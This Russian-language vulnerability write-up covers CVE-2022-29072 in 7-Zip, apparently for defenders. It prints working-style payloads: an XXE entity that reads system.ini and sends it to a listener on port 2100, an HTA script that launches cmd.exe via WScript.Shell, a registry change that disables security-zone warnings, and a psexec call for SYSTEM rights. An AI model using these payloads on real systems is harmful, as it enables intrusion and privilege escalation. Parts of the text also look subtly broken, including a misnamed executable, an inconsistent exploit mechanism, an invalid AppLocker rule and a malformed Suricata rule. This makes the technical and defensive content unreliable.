
Уязвимость BDU:2022-02366 (CVE-2022-29072) 7-Zip
Уязвимость BDU:2022-02366 (CVE-2022-29072) в библиотеке 7z.dll
файлового архиватора 7-Zip (версии ≤21.07) представляет собой переполнение буфера в куче (heap overflow). Она позволяет локальному злоумышленнику повысить привилегии до уровня SYSTEM через цепочку эксплуатации некорректной обработки CHM-файлов и ошибок конфигурации.
Анализ уязвимоси
Уровень опасности: 7.8 HIGH
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки): Локальный (L) - требует физического или локального доступа
-
AC:L (Сложность эксплуатации): Низкая (L) - не требует специальных условий
-
PR:L (Уровень привилегий): Низкие привилегии (L) - требуется базовый доступ
-
UI:N (Взаимодействие с пользователем): Не требуется (N)
-
S:U (Область воздействия): Не оказывает влияния на другие системы (U)
-
C:H (Конфиденциальность): Полный компрометация (H)
-
I:H (Целостность): Полная компрометация (H)
-
A:H (Доступность): Полный отказ служб (H)
Условия эксплуатации
-
Локальный доступ к системе (злоумышленник должен иметь учетную запись)
-
Установленная уязвимая версия 7-Zip (≤21.07)
-
Возможность запустить 7-Zip с правами пользователя
Технический механизм уязвимости
Уязвимость CVE-2022-29072 возникает в компоненте обработки справки (Help System):
-
Heap Overflow в
FzGM.exe
:-
При открытии специально сформированного CHM-файла происходит переполнение буфера.
-
Ошибка в функции обработки XML/HTML содержимого в
7z.dll
.
-
-
Некорректный вызов API:
-
Вместо запуска справки через
hh.exe
(стандартный обработчик CHM), 7-Zip вызывает HTML Help API напрямую из своего процесса. -
Это позволяет выполнить произвольный код в контексте родительского процесса (
7zFM.exe
).
-
-
Эскалация привилегий:
-
Через манипуляцию с указателями (base pointer) в памяти процесса.
-
Исполнение шелл-кода через
ActiveXObject
иWScript.Shell
. -
Финал: запуск
psexec -s cmd.exe
для получения прав SYSTEM.
-
Возможные последствия эксплуатации
-
Полный контроль системы:
-
Компрометация учетных записей администратора.
-
Установка руткитов/бэкдоров.
-
-
Чтение конфиденциальных данных:
-
Системные учетные данные (SAM, LSA secrets).
-
Файлы конфигурации приложений.
-
-
Атаки на сетевую инфраструктуру:
-
Движение в сторону доменного контроллера.
-
Компрометация Active Directory.
-
-
Персистентность:
-
Создание скрытых учетных записей.
-
Установка служб с правами SYSTEM.
-
Где встречается уязвимая библиотека?
-
Официальный 7-Zip ≤21.07
-
Сторонние приложения, использующие
7z.dll
:-
File managers (Total Commander, FAR Manager)
-
Системы резервного копирования
-
Кастомные архиваторы
-
Анализ векторов атаки
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.
1. XXE-атака (чтение файлов)
<!-- xxе-basic-7zip/7zip.html --> <!DOCTYPE flavios [ <!ENTITY % zip SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:2100/7zip.dtd"> %dtd;]>
-
Механизм: Чтение локальных файлов через External Entity.
-
Ограничение: Требует открытого порта 2100 для приема данных.
2. Выполнение команд через HTA
<!-- command-exec-basic-7zip/7zip.html --> <HTA:APPLICATION ID="7zipcodeexec"> <script> new ActiveXObject('WScript.Shell').Run("cmd.exe"); </script>
-
Механизм: Использование
ActiveXObject
для запуска команд. -
Обход защиты: Изменение ключа реестра для отключения предупреждений:
Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0' -Name '1201' -Value '0'
3. Привилегированная цепочка
-
Поместить модифицированный
7-zip.chm
в Help > Contents. -
Использование heap overflow для перенаправления исполнения.
-
Вызов
psexec -s cmd.exe
от имени SYSTEM.
Способы защиты
-
Обновление ПО: Установить 7-Zip версии 22.00+ (исправляет уязвимость).
-
Удаление CHM-файла:
Remove-Item "$env:ProgramFiles\7-Zip\7-zip.chm" -Force
-
Ограничение прав доступа:
-
Установить права
Read & Execute
для всех пользователей на7zFM.exe
. -
Запретить запись в директорию 7-Zip.
-
-
AppLocker Policy:
<RuleCollection Type="Appx"> <FilePublisherRule Action="Deny" Description="Block 7zFM child processes"> <Conditions> <FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="cmd.exe"/> <ParentProcess Condition="Is">7zFM.exe</ParentProcess> </Conditions> </FilePublisherRule> </RuleCollection>
-
Детектирование атак (Suricata правила):
alert tcp any any -> any any (msg:"CVE-2022-29072 Exploit Attempt"; content:"|3a 7c 7a 69 70 2e 63 68 6d|"; # :|7zip.chm content:"ActiveXObject"; content:"WScript.Shell"; classtype:attempted-admin; sid:202229072; rev:1;) alert ip any any -> any any (msg:"Suspicious 7-Zip CHM Request"; content:"GET"; http_method; content:"7zip.dtd"; http_uri; threshold: type limit, track by_src, count 1, seconds 60;)
